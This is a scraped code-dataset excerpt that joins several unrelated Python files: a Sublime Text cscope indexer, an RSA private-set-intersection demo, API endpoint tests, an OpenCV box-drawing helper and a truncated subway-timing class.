files.extend(map(lambda f: os.path.join(v['path'], f), v['files']))\n\n if self._two_tier_mode:\n if self._promotion_set:\n self._write_file_list(self._promotion_set, primary_list)\n elif os.path.exists(primary_list):\n os.remove(primary_list)\n\n if full_update:\n self._write_file_list(files, secondary_list)\n cscope_runner.generate_index(self._config.db_location,\n _find_window_from_indexer(self),\n force_rebuild=self._force_rebuild_db)\n self._force_rebuild_db = False\n else:\n self._write_file_list(files, primary_list)\n if os.path.exists(secondary_list):\n os.remove(secondary_list)\n\n success = True\n except Exception as e:\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(\"%s: Generating index for project: %s caused an exception\")\n print(''.join('!! ' + line for line in lines))\n\n return success\n\n @send_msg\n def _perform_crawl(self, partial_crawl=False):\n start_path = None\n\n if not self._config or not self._config.is_complete:\n return\n\n if self._crawl_in_progress:\n print(\"Project: '%s' refresh is already in progress\" % self._config.db_location)\n return\n elif partial_crawl:\n #try to find a starting point that includes all paths in\n #self._partial_crawl_queue\n start_path = os.path.commonprefix(self._partial_crawl_queue)\n if start_path.endswith(os.path.sep):\n start_path = start_path[:-1]\n\n if start_path and not os.path.exists(start_path):\n start_path = os.path.dirname(start_path)\n\n base_path, _ = self._config.find_base_path(start_path)\n if start_path and not base_path:\n start_path = None\n\n if DEBUG:\n if start_path:\n print(\"Performing partial refresh starting from %s for project: %s\" %\n (start_path, self._config.db_location))\n else:\n print(\"Performing full refresh for project: %s\" % self._config.db_location)\n\n self._partial_crawl_queue.clear()\n self._crawl_in_progress = True\n self._crawler.crawl(self._config,\n user_data=start_path,\n start_path=start_path,\n result_callback=self._crawl_result_ready)\n\n\n @send_msg\n def _crawl_result_ready(self, result):\n self._crawl_in_progress = False\n crawl_res, partial_update = result\n\n if DEBUG:\n print(\"Crawl results received. Found %d files\" % self._count_files(crawl_res))\n\n if self._count_files(crawl_res) > TWO_TIER_THRESHOLD:\n if not self._two_tier_mode:\n if partial_update:\n print(\"%s: A partial update of project: %s resulted in threshold exceeded. \"\n \"Performing full update.\" %\n (PACKAGE_NAME, os.path.dirname(self._config.db_location)))\n self._perform_crawl()\n return\n else:\n if DEBUG: print(\"Threshold exceeded, switching to two tier mode\")\n self._reset_results()\n self._two_tier_mode = True\n\n elif not partial_update and self._two_tier_mode:\n if DEBUG: print(\"%s: Project: %s. Project size is below threshold. \"\n \"Reverting back to one tier mode\" %\n (PACKAGE_NAME, os.path.dirname(self._config.db_location)))\n self._reset_results()\n\n file_index = {}\n\n if partial_update:\n # Extract the relevant subset to compare\n for k, v in list(self._file_index.values()):\n if k['path'].startswith(partial_update):\n file_index[k] = v\n del self._file_index[k]\n else:\n file_index = self._file_index\n self._file_index = {}\n self._partial_crawl_queue.clear()\n partial_update = ''\n\n if (file_index != crawl_res):\n if DEBUG:\n print(\"Crawl of project: %s contained changes.\" %\n os.path.dirname(self._config.db_location))\n\n self._file_index.update(crawl_res)\n\n if self._gen_index():\n #remove files from the demotion list\n tmp = {f for f in self._demotion_set if f.startswith(partial_update)}\n self._demotion_set -= tmp\n self._promotion_set -= tmp\n\n # Perfrom any pending partial crawls\n if self._partial_crawl_queue:\n self._perform_crawl(partial_crawl=True, send_always=True)\n\n @send_msg\n def refresh(self):\n self._force_rebuild_db = True\n self._perform_crawl()\n\n @send_msg\n def set_config(self, config):\n if config and config != self._config:\n if DEBUG: print(\"New config received. Refreshing project %s\" % config.db_location)\n self._config = config\n self.refresh()\n\n @send_msg\n def promote_buffer(self, file_path):\n\n if file_path in self._promotion_set:\n return\n\n base, name = os.path.split(file_path)\n st = os.stat(base)\n\n if st.st_ino in self._file_index:\n # in case the folder exists in the index under a different name\n # use that name instead\n base = self._file_index[st.st_ino]['path']\n file_path = os.path.join(base, name)\n\n if file_path in self._promotion_set:\n return\n\n if not self._config.file_matches(base, name):\n return\n\n if DEBUG: print(\"Promoting: %s\" % file_path)\n\n if self._two_tier_mode:\n self._promotion_set.add(os.path.join(base, name))\n self._gen_index(full_update=False)\n elif not name in self._file_index.get(st.st_ino, {}).get('files',[]):\n # file not found in index\n self._perform_crawl()\n\n @send_msg\n def demote_buffer(self, file_path):\n\n if file_path not in self._promotion_set:\n return\n\n if file_path in self._demotion_set:\n return\n\n if DEBUG: print(\"Demoting: %s\" % file_path)\n self._demotion_set.add(file_path)\n self._partial_crawl_queue.append(os.path.dirname(file_path))\n self._perform_crawl(True, send_always=True)\n\n\n\nclass Crawler(ActorBase):\n \"\"\" The Crawler scans the project folders for files to index. \"\"\"\n @send_msg\n def crawl(self, config, user_data, start_path=None):\n result = defaultdict(dict)\n\n if start_path:\n base_path, follow_syms = config.find_base_path(start_path)\n folders_to_search = [(start_path, base_path, follow_syms)]\n else:\n folders_to_search = [(base_path, base_path, follow_syms) for\n base_path, follow_syms in config.base_paths()]\n\n for start, base, follow_syms in folders_to_search:\n os_walk = partial(os.walk, followlinks=follow_syms)\n os_stat = partial(os.stat, follow_symlinks=follow_syms)\n file_matcher = partial(config.file_matches, base_path=base)\n folder_matcher = partial(config.folder_matches, base_path=base)\n visited_files = set()\n self._crawl_one_subfolder(start, result,\n os_walk, os_stat,\n file_matcher, folder_matcher,\n visited_files)\n\n return (result, user_data)\n\n def _crawl_one_subfolder(self, start_path, result, os_walk,\n os_stat, file_matcher,\n folder_matcher, visited_files):\n\n start_path = os.path.normpath(start_path)\n if DEBUG: print(\"Starting to crawl folder: %s\" % start_path)\n\n prev = None\n prev_inode = 0\n\n for current, subdirs, files in os_walk(start_path):\n inode = prev_inode\n\n if current != prev:\n prev = current\n inode = os_stat(current).st_ino\n if inode in result:\n AssertionError(\"Inode %d already seen. path: %s == %s\" %\n (inode, current, result[inode]['path']))\n\n result[inode]['path'] = current\n result[inode]['magic'] = 0\n result[inode]['files'] = []\n\n self._process_files(current, files, result[inode],\n os_stat, file_matcher, visited_files)\n self._process_subfolders(current, subdirs, os_stat,\n folder_matcher, result.keys())\n\n def _process_files(self, path, files, result,\n os_stat, file_matcher, visited_files):\n\n for f in files:\n try:\n st = os_stat(os.path.join(path, f))\n except (FileNotFoundError, OSError) as e:\n print(\"%s: %s\" % (PACKAGE_NAME, e))\n continue\n\n if st.st_ino in visited_files:\n if DEBUG: print(\"File %s was already visited\" % os.path.join(path, f))\n continue\n\n if file_matcher(path, f, st.st_mode):\n result['files'].append(f)\n result['magic'] += st.st_size + st.st_mtime\n visited_files.add(st.st_ino)\n\n\n def _process_subfolders(self, path, subdirs, os_stat,\n folder_matcher, visited_folders):\n filtered_subdirs = []\n for d in subdirs:\n try:\n st = os_stat(os.path.join(path, d))\n except (FileNotFoundError, OSError) as e:\n print(\"%s: %s\" % (PACKAGE_NAME, e))\n continue\n\n if st.st_ino in visited_folders:\n if DEBUG: print(\"File %s was already visited\" % os.path.join(path, d))\n continue\n\n if folder_matcher(path, d, st.st_mode):\n filtered_subdirs.append(d)\n\n subdirs.clear()\n subdirs.extend(filtered_subdirs)\n\n\n\nclass IndexerConfig():\n def __init__(self, window):\n self._is_complete = False\n self._file_exts = None\n self._db_location = get_db_location(window)\n\n if not self._db_location:\n return\n\n self._file_exts = _set_from_sorted_list(settings.get('index_file_extensions', window))\n if not self._file_exts:\n print(\"%s: The list of file extensions to index was empty. \\\n Please check your settings.\" % PACKAGE_NAME)\n return\n\n self._search_std_incl_folders = settings.get('search_std_include_folders', window)\n self._std_incl_folders = _set_from_sorted_list(settings.get('std_include_folders', window))\n self._folder_configs = {}\n self._index_blacklist = set()\n global_folder_exclude = []\n global_folder_include = []\n global_file_exclude = []\n global_file_include = []\n\n\n if window.active_view():\n s = window.active_view().settings()\n self._index_blacklist = _set_from_sorted_list(s.get('index_exclude_patterns', []))\n global_folder_exclude = s.get('folder_exclude_patterns', [])\n global_folder_include = s.get('folder_include_patterns', [])\n global_file_exclude = s.get('file_exclude_patterns', [])\n global_file_include = s.get('file_include_patterns', [])\n\n proj_data = window.project_data()\n\n for folder in proj_data['folders']:\n folder_path = folder['path']\n if not folder_path:\n next\n\n if not os.path.isabs(folder_path):\n base_path, _ = os.path.split(self._db_location)\n if DEBUG:\n print(\"Found relative folder: %s. prepending %s\" %\n (folder_path, base_path + os.path.sep))\n folder_path = os.path.join(base_path, folder_path)\n\n folder_config = {}\n folder_config['follow_symlinks'] = folder.get('follow_symlinks', True)\n folder_config['file_whitelist'] = _set_from_sorted_list(global_file_include + \\\n folder.get('file_include_patterns',[]))\n folder_config['file_blacklist'] = _set_from_sorted_list(global_file_exclude + \\\n folder.get('file_exclude_patterns',[]))\n folder_config['folder_whitelist'] = _set_from_sorted_list(global_folder_include + \\\n folder.get('folder_include_patterns',[]))\n folder_config['folder_blacklist'] = _set_from_sorted_list(global_folder_exclude + \\\n folder.get('folder_exclude_patterns',[]))\n\n self._folder_configs[folder_path] = folder_config\n\n # For the config to be consider complete (i.e. usable) we need at least\n # one file extention and one folder.\n self._is_complete = len(self._file_exts) > 0 and len(self._folder_configs) > 0\n\n @property\n def is_complete(self):\n return self._is_complete\n\n @property\n def file_exts(self):\n return self._file_exts\n\n @property\n def db_location(self):\n return self._db_location\n\n @property\n def search_std_incl_folders(self):\n return self._search_std_incl_folders\n\n @property\n def std_incl_folders(self):\n return self._std_incl_folders\n\n\n def __eq__(self, r):\n res = True\n\n if self is r:\n return True\n elif not isinstance(r, self.__class__):\n res = NotImplemented\n else:\n keys_to_cmp = [\n '_is_complete',\n '_db_location',\n '_file_exts',\n '_folder_configs',\n '_index_blacklist',\n '_search_std_incl_folders',\n '_std_incl_folders'\n ]\n ldict = self.__dict__\n rdict = r.__dict__\n\n results = list(filterfalse(lambda k: ldict.get(k, None) == rdict.get(k, None),\n keys_to_cmp))\n\n # if results is empty, all keys evaluated to equal\n res = bool(not results)\n\n if DEBUG_INDEXERCONFIG and not res:\n for key in results:\n print(\"%s failed: '%s' != '%s'\" %\n (key, ldict.get(key, None), rdict.get(key, None)))\n\n return res\n\n def __ne__(self, r):\n res = self.__eq__(r)\n\n if res is NotImplemented:\n return res\n\n return not res\n\n def _is_whitelisted_file(self, base_path, dirpath, file_name):\n _, ext = os.path.splitext(file_name)\n\n if not ext in self._file_exts:\n return False\n\n full_name = os.path.join(dirpath, file_name)\n include_patterns = self._folder_configs[base_path]['file_whitelist']\n\n # if the list is empty then all files are allowed\n if not include_patterns:\n return True\n\n for pattern in include_patterns:\n if fnmatch.fnmatch(file_name, pattern):\n return True\n\n if fnmatch.fnmatch(full_name, pattern):\n return True\n\n return False\n\n\n def _is_blacklisted_file(self, base_path, dirpath, file_name):\n exclude_patterns = self._folder_configs[base_path]['file_blacklist']\n\n # if the list is empty then all files are allowed\n if not exclude_patterns:\n return False\n\n full_name = os.path.join(dirpath, file_name)\n\n for pattern in exclude_patterns:\n if fnmatch.fnmatch(file_name, pattern):\n return True\n\n if fnmatch.fnmatch(full_name, pattern):\n return True\n\n for pattern in self._index_blacklist:\n if fnmatch.fnmatch(file_name, pattern):\n return True\n\n if fnmatch.fnmatch(full_name, pattern):\n return True\n\n return False\n\n def _is_whitelisted_folder(self, base_path, dirpath, folder):\n include_patterns = self._folder_configs[base_path]['folder_whitelist']\n\n # if the list is empty then all files are allowed\n if not include_patterns:\n return True\n\n full_path = os.path.join(dirpath, folder)\n\n for pattern in include_patterns:\n if fnmatch.fnmatch(folder, pattern):\n return True\n\n if fnmatch.fnmatch(full_path, pattern):\n return True\n\n return False\n\n def _is_blacklisted_folder(self, base_path, dirpath, folder):\n exclude_patterns = self._folder_configs[base_path]['folder_blacklist']\n\n # if the list is empty then all files are allowed\n if not exclude_patterns:\n return False\n\n full_path = os.path.join(dirpath, folder)\n\n for pattern in exclude_patterns:\n if fnmatch.fnmatch(folder, pattern):\n return True\n\n if fnmatch.fnmatch(full_path, pattern):\n return True\n\n for pattern in self._index_blacklist:\n if fnmatch.fnmatch(folder, pattern):\n return True\n\n if fnmatch.fnmatch(full_path, pattern):\n return True\n\n return False\n\n def find_base_path(self, dirpath):\n not_found = (None, None)\n\n if not dirpath:\n return not_found\n\n for bp in self._folder_configs.keys():\n if dirpath.startswith(bp):\n return (bp, self._folder_configs[bp]['follow_symlinks'])\n\n if DEBUG:\n print(\"No base path found for '%s' in (%s)\" % (dirpath, self._folder_configs.keys()))\n return not_found\n\n\n def base_paths(self):\n return tuple((key, self._folder_configs[key]['follow_symlinks'])\n for key in self._folder_configs.keys())\n\n def file_matches(self, dirpath, file_name, st_mode=0, base_path=None):\n if not base_path:\n base_path, follow_symlinks = self.find_base_path(dirpath)\n if not base_path:\n return False\n\n st_mode = os.stat(os.path.join(dirpath, file_name),\n follow_symlinks=follow_symlinks).st_mode\n\n if not stat.S_ISREG(st_mode):\n return False\n\n if not self._is_whitelisted_file(base_path, dirpath, file_name):\n return False\n\n if self._is_blacklisted_file(base_path, dirpath, file_name):\n return False\n\n return True\n\n\n def folder_matches(self, dirpath, folder, st_mode=0, base_path=None):\n if not base_path:\n base_path, follow_symlinks = self.find_base_path(dirpath)\n if not base_path:\n return False\n\n st_mode = os.stat(os.path.join(dirpath, file_name), follow_symlinks=follow_symlinks)\n\n if not stat.S_ISDIR(st_mode):\n return False\n\n if not self._is_whitelisted_folder(base_path, dirpath, folder):\n return False\n\n if self._is_blacklisted_folder(base_path, dirpath, folder):\n return False\n\n return True\n\n\n# The folder where we store cscope indexes for workspaces (since they have no project\n# folder associated with them.)\ndef _get_tmp_db_folder():\n return os.path.join(sublime.cache_path(), PACKAGE_NAME, 'workspace_tmp')\n\ndef _get_proj_name(view_or_window):\n proj_name = None\n win = view_or_window\n\n if hasattr(view_or_window, 'window'):\n win = view_or_window.window()\n\n # we are only interested in windows with folders open\n if win and win.folders():\n proj_name = win.project_file_name()\n # if the window doesn't have a proj_name, generate a dummy_one\n if not proj_name:\n proj_name = os.path.join(_get_tmp_db_folder(), 'workspace_' + str(win.id()))\n\n return proj_name\n\ndef _set_from_sorted_list(l):\n if not l:\n return set()\n\n l.sort()\n return set(l)\n\ndef _disassociate_window(proj_file, win):\n indexer_data = _indexers.get(proj_file, None)\n if indexer_data:\n indexer_data['windows'].remove(win)\n if not indexer_data['windows']:\n return True\n return False\n\ndef _trim_indexers():\n for key, indexer_data in list(_indexers.items()):\n # remove indexers that are not associated with any windows\n if not indexer_data['windows']:\n indexer = _indexers.pop(key)['indexer']\n indexer.quit()\n\ndef _find_window_from_proj_file(proj_file):\n win = None\n\n if proj_file in _indexers:\n indexer_data = _indexers[proj_file]\n windows = [w for w in sublime.windows() if w.id() in indexer_data['windows']]\n if windows:\n win = windows[0]\n\n return win\n\ndef _find_window_from_indexer(indexer):\n win = None\n\n for proj_file, indexer_data in _indexers.items():\n if indexer is indexer_data['indexer']:\n win = _find_window_from_proj_file(proj_file)\n\n return win\n\n# The module level API\ndef get_db_location(win):\n if not win:\n return None\n\n proj_name = _get_proj_name(win)\n\n if not proj_name:\n return None\n\n path, name_ext = os.path.split(proj_name)\n\n if not os.path.exists(path):\n print(\"%s: Path: %s does not exist. Will not attempt to index project: %s\"\n % (PACKAGE_NAME, path, proj_name))\n return None\n\n name, ext = os.path.splitext(name_ext)\n\n db_location = os.path.join(path, name + DB_FOLDER_POSTFIX)\n if os.path.isfile(db_location):\n print(\"%s: Path: %s already exists but is not a folder. \\\n Will not attempt to index project: %s\" % (PACKAGE_NAME, db_location, proj_name))\n return None\n\n return db_location\n\n\ndef refresh(win=None, explicit_refresh=True):\n \"\"\"\n Refresh the file tree of the indexer belonging to window\n if win is None refresh all indexers.\n \"\"\"\n tmp_folder = _get_tmp_db_folder()\n if os.path.isfile(tmp_folder):\n print(\"%s: %s exists but is not a folder. Removing\" % (PACKAGE_NAME, tmp_folder))\n os.remove(tmp_folder)\n\n if not os.path.exists(tmp_folder):\n print(\"%s: Creating tmp folder: %s.\" % (PACKAGE_NAME, tmp_folder))\n os.makedirs(tmp_folder, exist_ok=True)\n\n windows = [win] if win else sublime.windows()\n indexer_win_pair = [(_get_proj_name(win), win) for win in windows\n if _get_proj_name(win)]\n\n for proj_file, win in indexer_win_pair:\n # in case the window is being reused with a new project,\n # disassociate from the old project\n if win.id() in _indexers_by_win and _indexers_by_win[win.id()] != proj_file:\n _disassociate_window(_indexers_by_win[win.id()], win.id())\n\n indexer_data = _indexers.setdefault(proj_file, {})\n indexer = indexer_data.setdefault('indexer', Indexer())\n indexer_cfg = IndexerConfig(win)\n if indexer_cfg != indexer_data.get('config', None):\n # Since there is a change in the config\n # The indexer will do an implicit refresh\n explicit_refresh = False\n indexer.set_config(indexer_cfg)\n indexer_data['config'] = indexer_cfg\n\n indexer_windows = indexer_data.setdefault('windows', [])\n if not win.id() in indexer_windows:\n indexer_windows.append(win.id())\n\n _indexers_by_win[win.id()] = proj_file\n\n indexer.start()\n\n if explicit_refresh:\n indexer.refresh()\n\n\ndef buffer_promoted(file_path):\n \"\"\"\n The file located at 'file_path' has been opened and modified and should\n therefore be promoted to the indexers' active list.\n \"\"\"\n\n # Special case were the file is a project file\n if file_path in _indexers:\n sublime.set_timeout_async(lambda: settings_changed(file_path), 1000)\n return\n\n # Notify all indexers that the buffer should be promoted\n # The indexers will ignore this call if the buffer doesn't belong to their\n # project\n for indexer_data in _indexers.values():\n indexer_data['indexer'].promote_buffer(file_path)\n\n if DEBUG: print(\"buffer_promoted: '%s'\" % file_path)\n\n\ndef buffer_demoted(file_path):\n \"\"\"\n The file located at 'file_path' has been closed and should therefore\n be demoted to the indexers' passive list.\n \"\"\"\n #ignore any project files being closed\n if file_path in _indexers:\n return\n\n for indexer_data in _indexers.values():\n indexer_data['indexer'].demote_buffer(file_path)\n\n\ndef window_state_changed():\n \"\"\"\n Called every time there is a significant state change in the currently\n open windows and we need to take action.\n \"\"\"\n\n # look for any indexers to close\n curr_windows = {win.id() for win in sublime.windows()}\n old_windows = _indexers_by_win.keys()\n\n obsolete_windows = old_windows - curr_windows\n for key in obsolete_windows:\n proj_file = _indexers_by_win.pop(key)\n _disassociate_window(proj_file, key)\n\n # implicitly refresh all active windows\n refresh(explicit_refresh=False)\n\n # Remove orphan indexers\n _trim_indexers()\n\n\ndef settings_changed(proj_file=None):\n \"\"\"\n Called each time our settings object\n (or project file) has been modified\n \"\"\"\n\n if proj_file and proj_file in _indexers:\n # A specific project file was modified.\n # Notify the indexer if the config differs.\n indexer_data = _indexers[proj_file]\n indexer = indexer_data['indexer']\n config = indexer_data['config']\n win = _find_window_from_proj_file(proj_file)\n if not win:\n return\n new_config = IndexerConfig(win)\n if new_config != config:\n indexer.set_config(new_config)\n indexer_data['config'] = new_config\n\n else:\n # implicitly refresh all active windows\n refresh(explicit_refresh=False)\n\n\ndef quit():\n \"\"\"Closes all indexers and removes them.\"\"\"\n\n _indexers_by_win.clear()\n for indexer_data in _indexers.values():\n indexer_data.setdefault('windows',[]).clear()\n\n _trim_indexers()\n","repo_name":"jgust/SublimeCscope","sub_path":"sublime_cscope/indexer.py","file_name":"indexer.py","file_ext":"py","file_size_in_byte":34046,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"29"} +{"seq_id":"11988647305","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport hashlib\nimport random\nfrom Crypto.PublicKey import RSA\nimport gmpy2\n\n\n# In[2]:\n\n\ndef hash_(num):\n hash_result = hashlib.sha1(str(num).encode('utf-8')).hexdigest()\n return int(hash_result,16)\n\ndef rsa():\n key = RSA.generate(1024)\n pk = (key.e,key.n)\n sk = (key.d,key.n)\n return pk,sk\n\n\n# In[3]:\n\n\ndef server1():\n pk, sk = rsa()\n print(\"Send the hash function and pk = {}, {} to client\".format(pk[0], pk[1]))\n return pk, sk\n\ndef server2(c1,sk):\n c2 = []\n for i in c1:\n c2.append(gmpy2.powmod(i,sk[0],sk[1]))\n print(\"Send the decrypted but still hashed and blinded client data back to client\")\n return c2\n\ndef server3(server_data,sk):\n s1 = []\n for i in server_data:\n hash_i = hash_(i)\n c_hash_i = gmpy2.powmod(hash_i,sk[0],sk[1])\n s1.append(hash_(c_hash_i))\n print(\"Send the double-hashed and encrypted server data to client\")\n return s1\n\n\n# In[4]:\n\n\ndef client1(client_data, pk):\n c1 = []\n r_list = [] \n for i in client_data:\n hash_i = hash_(i) % pk[1]\n ra = random.randint(10**127, 10**128)\n c_ra = gmpy2.powmod(ra,pk[0],pk[1])\n r_list.append(ra)\n c1.append(hash_i*c_ra)\n print(\"Send the encrypted, hashed and blinded client data to server\")\n return c1, r_list\n\ndef client2(c2, r_list, pk):\n c3 = []\n for i,ra in zip(c2,r_list):\n ra_inv = gmpy2.invert(ra,pk[1])\n c3.append(hash_((i * ra_inv) % pk[1]))\n return c3\n\ndef client3(c3, s1):\n return sorted(set(c3).intersection(s1), key = lambda x: c3.index(x))\n\n","repo_name":"wonghoitin/ml_crypto_learning","sub_path":"cryptography/rsa-psi.py","file_name":"rsa-psi.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"36300057772","text":"from fastapi.testclient import TestClient\nfrom sqlalchemy.orm import Session\n\nfrom nonbonded.backend.database import models\nfrom nonbonded.library.models.projects import (\n Benchmark,\n BenchmarkCollection,\n Optimization,\n OptimizationCollection,\n Project,\n ProjectCollection,\n Study,\n StudyCollection,\n)\nfrom nonbonded.tests.backend.api.utilities import (\n BaseTestEndpoints,\n commit_benchmark,\n commit_data_set,\n commit_optimization,\n commit_project,\n commit_study,\n)\nfrom nonbonded.tests.utilities.comparison import compare_pydantic_models\nfrom nonbonded.tests.utilities.factory import (\n create_benchmark,\n create_evaluator_target,\n create_force_field,\n create_optimization,\n create_project,\n create_study,\n)\n\n\nclass TestProjectEndpoints(BaseTestEndpoints):\n @classmethod\n def _rest_class(cls):\n return Project\n\n @classmethod\n def _create_model(cls, db, create_dependencies=True):\n project = create_project(\"project-1\")\n return project, {\"project_id\": project.id}\n\n @classmethod\n def _perturb_model(cls, model):\n model.name = \"Updated\"\n\n @classmethod\n def _commit_model(cls, db):\n project = commit_project(db)\n return project, {\"project_id\": project.id}\n\n @classmethod\n def _n_db_models(cls, db: Session) -> int:\n return db.query(models.Project.id).count()\n\n def test_get_all(self, rest_client: TestClient, db: Session):\n\n project = commit_project(db)\n rest_collection = ProjectCollection.from_rest(requests_class=rest_client)\n\n assert rest_collection.metadata is not None\n assert rest_collection.metadata.skip == 0\n assert rest_collection.metadata.limit == 100\n assert rest_collection.metadata.total_records == 1\n\n assert rest_collection is not None\n assert len(rest_collection.projects) == 1\n\n compare_pydantic_models(project, rest_collection.projects[0])\n\n\nclass TestStudyEndpoints(BaseTestEndpoints):\n @classmethod\n def _rest_class(cls):\n return Study\n\n @classmethod\n def _create_model(cls, db, create_dependencies=True):\n\n project_id = \"project-1\"\n\n if create_dependencies:\n project = commit_project(db)\n project_id = project.id\n\n study = create_study(project_id, \"study-1\")\n\n return study, {\"project_id\": project_id, \"study_id\": study.id}\n\n @classmethod\n def _perturb_model(cls, model):\n model.name = \"Updated\"\n\n @classmethod\n def _commit_model(cls, db):\n project, study = commit_study(db)\n return study, {\"project_id\": project.id, \"study_id\": study.id}\n\n @classmethod\n def _n_db_models(cls, db: Session) -> int:\n return db.query(models.Study.id).count()\n\n def test_get_all(self, rest_client: TestClient, db: Session):\n\n project, study = commit_study(db)\n rest_collection = StudyCollection.from_rest(\n project_id=project.id, requests_class=rest_client\n )\n\n assert rest_collection is not None\n assert len(rest_collection.studies) == 1\n\n compare_pydantic_models(study, rest_collection.studies[0])\n\n\nclass TestBenchmarkEndpoints(BaseTestEndpoints):\n @classmethod\n def _rest_class(cls):\n return Benchmark\n\n @classmethod\n def _create_model(cls, db, create_dependencies=True):\n\n project_id = \"project-1\"\n study_id = \"study-1\"\n\n data_set_ids = [\"data-set-1\"]\n\n if create_dependencies:\n\n project, study = commit_study(db)\n\n project_id = project.id\n study_id = study.id\n\n data_set = commit_data_set(db)\n data_set_ids = [data_set.id]\n\n benchmark = create_benchmark(\n project_id,\n study_id,\n \"benchmark-1\",\n data_set_ids,\n None,\n create_force_field(),\n )\n\n return (\n benchmark,\n {\n \"project_id\": project_id,\n \"study_id\": study_id,\n \"sub_study_id\": benchmark.id,\n },\n )\n\n @classmethod\n def _perturb_model(cls, model):\n model.name = \"Updated\"\n\n @classmethod\n def _commit_model(cls, db):\n project, study, benchmark, _, _, _ = commit_benchmark(db, False)\n return (\n benchmark,\n {\n \"project_id\": project.id,\n \"study_id\": study.id,\n \"sub_study_id\": benchmark.id,\n },\n )\n\n @classmethod\n def _n_db_models(cls, db: Session) -> int:\n return db.query(models.Benchmark.id).count()\n\n def test_get_all(self, rest_client: TestClient, db: Session):\n\n project, study, benchmark, _, _, _ = commit_benchmark(db, False)\n rest_collection = BenchmarkCollection.from_rest(\n project_id=project.id, study_id=study.id, requests_class=rest_client\n )\n\n assert rest_collection is not None\n assert len(rest_collection.benchmarks) == 1\n\n compare_pydantic_models(benchmark, rest_collection.benchmarks[0])\n\n\nclass TestOptimizationEndpoints(BaseTestEndpoints):\n @classmethod\n def _rest_class(cls):\n return Optimization\n\n @classmethod\n def _create_model(cls, db, create_dependencies=True):\n\n project_id = \"project-1\"\n study_id = \"study-1\"\n\n data_set_ids = [\"data-set-1\"]\n\n if create_dependencies:\n\n project, study = commit_study(db)\n\n project_id = project.id\n study_id = study.id\n\n data_set = commit_data_set(db)\n data_set_ids = [data_set.id]\n\n optimization = create_optimization(\n project_id,\n study_id,\n \"optimization-1\",\n [create_evaluator_target(\"name\", data_set_ids)],\n )\n\n return (\n optimization,\n {\n \"project_id\": project_id,\n \"study_id\": study_id,\n \"sub_study_id\": optimization.id,\n },\n )\n\n @classmethod\n def _perturb_model(cls, model):\n model.name = \"Updated\"\n\n @classmethod\n def _commit_model(cls, db):\n project, study, optimization, _, _ = commit_optimization(db)\n\n return (\n optimization,\n {\n \"project_id\": project.id,\n \"study_id\": study.id,\n \"sub_study_id\": optimization.id,\n },\n )\n\n @classmethod\n def _n_db_models(cls, db: Session) -> int:\n return db.query(models.Optimization.id).count()\n\n def test_get_all(self, rest_client: TestClient, db: Session):\n\n project, study, optimization, _, _ = commit_optimization(db)\n rest_collection = OptimizationCollection.from_rest(\n project_id=project.id, study_id=study.id, requests_class=rest_client\n )\n\n assert rest_collection is not None\n assert len(rest_collection.optimizations) == 1\n\n compare_pydantic_models(optimization, rest_collection.optimizations[0])\n","repo_name":"SimonBoothroyd/nonbonded","sub_path":"nonbonded/tests/backend/api/test_projects.py","file_name":"test_projects.py","file_ext":"py","file_size_in_byte":7054,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"29"} +{"seq_id":"44598885226","text":"import math\nimport cv2\nfrom PIL import ImageFont, ImageDraw, Image\nimport numpy as np\n\n#2021/01/30\n\nclass DetectedObjectDrawer:\n\n def __init__(self, font_size=24, font=\"assets/Roboto-Regular.ttf\", char_width=14):\n \n self.font_size = font_size\n self.font = ImageFont.truetype(font, font_size)\n self.char_width = char_width\n\n \n def draw_box_with_class_name(self, img, x1, y1, x2, y2, class_names, cl, id):\n cl = int(cl)\n x1, y1, x2, y2 = int(round(float(x1))), int(round(float(y1))), int(round(float(x2))), int(round(float(y2)))\n h = img.shape[0]\n width = max(1, int(h * 0.002))\n \n name = class_names[int(cl)]\n \n bgr_color = self.get_rgb_color(cl, len(class_names))[::-1]\n # bounding box\n cv2.rectangle(img, (x1, y1), (x2, y2), bgr_color, width)\n # font background\n name = str(id) + \":\" + name \n font_width = len(name) * self.char_width\n cv2.rectangle(img, (x1 - math.ceil(width / 2), y1 - self.font_size), (x1 + font_width, y1), bgr_color, -1)\n\n # text\n pil_img = Image.fromarray(img[..., ::-1])\n \n draw = ImageDraw.Draw(pil_img)\n draw.text((x1 + width, y1 - self.font_size), name, font=self.font, fill=(0, 0, 0, 255))\n img = np.array(pil_img)[..., ::-1].copy()\n return img\n\n\n\n def get_color(self, c, x, max_value, colors=[[1, 0, 1], [0, 0, 1], [0, 1, 1], [0, 1, 0], [1, 1, 0], [1, 0, 0]]):\n # https://github.com/pjreddie/darknet/blob/master/src/image.c\n ratio = (x / max_value) * 5\n i = math.floor(ratio)\n j = math.ceil(ratio)\n ratio -= i\n r = (1. - ratio) * colors[i][c] + ratio * colors[j][c]\n return r\n\n\n def get_rgb_color(self, cls, clses):\n offset = cls * 123457 % clses\n red = self.get_color(2, offset, clses)\n green = self.get_color(1, offset, clses)\n blue = self.get_color(0, offset, clses)\n return int(red * 255), int(green * 255), int(blue * 255)\n\n\n","repo_name":"atlan-antillia/CenterNetObjectDetetor","sub_path":"DetectedObjectDrawer.py","file_name":"DetectedObjectDrawer.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74628098957","text":"class UndergroundSystem:\n\n def __init__(self):\n self.route = {}\n self.cus = {}\n\n def checkIn(self, id: int, stationName: str, t: int) -> None:\n self.cus[id] = (stationName, t)\n\n def checkOut(self, id: int, stationName: str, t: int) -> None:\n cus_checkin = self.cus.get(id)\n startStation, start_t = cus_checkin[0], cus_checkin[1]\n endStation = stationName\n end_t = t\n time_diff = end_t - start_t\n\n if self.route.get((startStation, endStation)):\n c_route = self.route.get((startStation, endStation))\n total_count, total_time = c_route[0], c_route[1]\n self.route[(startStation, endStation)] = (1 + total_count, total_time + time_diff)\n else:\n self.route[(startStation, endStation)] = (1, time_diff)\n\n def getAverageTime(self, startStation: str, endStation: str) -> float:\n c_route = self.route.get((startStation, endStation))\n\n total_count, total_time = c_route[0], c_route[1]\n return total_time / total_count\n\n# Your 